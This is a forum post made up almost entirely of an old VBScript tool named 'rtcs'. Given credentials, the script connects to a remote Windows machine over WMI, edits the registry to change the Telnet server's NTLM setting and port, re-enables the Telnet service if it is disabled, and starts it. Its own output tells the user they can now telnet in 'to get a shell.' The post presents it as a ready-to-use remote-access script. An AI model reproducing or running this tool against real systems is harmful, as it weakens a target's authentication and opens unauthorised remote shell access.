| 发表于:2007-08-10 21:42:091楼 得分:0 |
on error resume next set outstreem=wscript.stdout if (lcase(right(wscript.fullname,11))= "wscript.exe ") then set objshell=wscript.createobject( "wscript.shell ") objshell.run( "cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34)) wscript.quit end if if wscript.arguments.count <5 then usage() wscript.echo "not enough parameters. " wscript.quit end if ipaddress=wscript.arguments(0) username=wscript.arguments(1) password=wscript.arguments(2) ntlm=wscript.arguments(3) port=wscript.arguments(4) if not isnumeric(ntlm) or ntlm <0 or ntlm> 2 then usage() wscript.echo "the value of ntml is wrong. " wscript.quit end if if not isnumeric(port) then usage() wscript.echo "the value of port is wrong. " wscript.quit end if usage() outstreem.write "conneting "&ipaddress& ".... " set objlocator=createobject( "wbemscripting.swbemlocator ") set objswbemservices=objlocator.connectserver(ipaddress, "root/default ",username,password) showerror(err.number) outstreem.write "setting ntlm= "&ntlm& ".... " set objinstance=objswbemservices.get( "stdregprov ") set objmethod=objinstance.methods_( "setdwordvalue ") set objinparam=objmethod.inparameters.spawninstance_() objinparam.hdefkey=&h80000002 objinparam.ssubkeyname= "software\microsoft\telnetserver\1.0 " objinparam.svaluename= "ntlm " objinparam.uvalue=ntlm set objoutparam=objinstance.EXECmethod_( "setdwordvalue ",objinparam) showerror(objoutparam.returnvalue) outstreem.write "setting port= "&port& ".... " objinparam.svaluename= "telnetport " objinparam.uvalue=port set objoutparam=objinstance.EXECmethod_( "setdwordvalue ",objinparam) showerror(objoutparam.returnvalue) outstreem.write "querying state of telnet server.... " set objswbemservices=objlocator.connectserver(ipaddress, "root\cimv2 ",username,password) set colinstances=objswbemservices.EXECquery( "select * from win32_service where name= 'tlntsvr ' ") showerror(err.number) for each objinstance in colinstances if objinstance.startmode= "disabled " then outstreem.write "telnet server has been disabled. now changeing start mode to manual.... " set objmethod=objinstance.methods_( "changestartmode ") set objinparam=objmethod.inparameters.spawninstance_() objinparam.startmode= "manual " set objoutparam=objinstance.EXECmethod_( "changestartmode ",objinparam) showerror(objoutparam.returnvalue) end if outstreem.write "changeing state.... " if objinstance.started=true then intstatus=objinstance.stopservice() showerror(intstatus) wscript.echo "target telnet server has been stop successfully. " else intstatus=objinstance.startservice() showerror(intstatus) wscript.echo "target telnet server has been start successfully! " wscript.echo "now, you can try: telnet "&ipaddress& " "&port& ", to get a shell. " end if next function showerror(errornumber) if errornumber <> 0 then wscript.echo "error! " wscript.quit else wscript.echo "ok! " end if end function function usage() wscript.echo string(79, "* ") wscript.echo "rtcs v1.10 " wscript.echo "remote telnet configure script, by zzzevazzz " wscript.echo "welcome to visite www.isgrey.com " wscript.echo "usage: " wscript.echo "cscript "&wscript.scriptfullname& " targetip username password ntlmauthor telnetport " wscript.echo "it will auto change state of target telnet server. " wscript.echo string(79, "* ")&vbcrlf end function | | |
|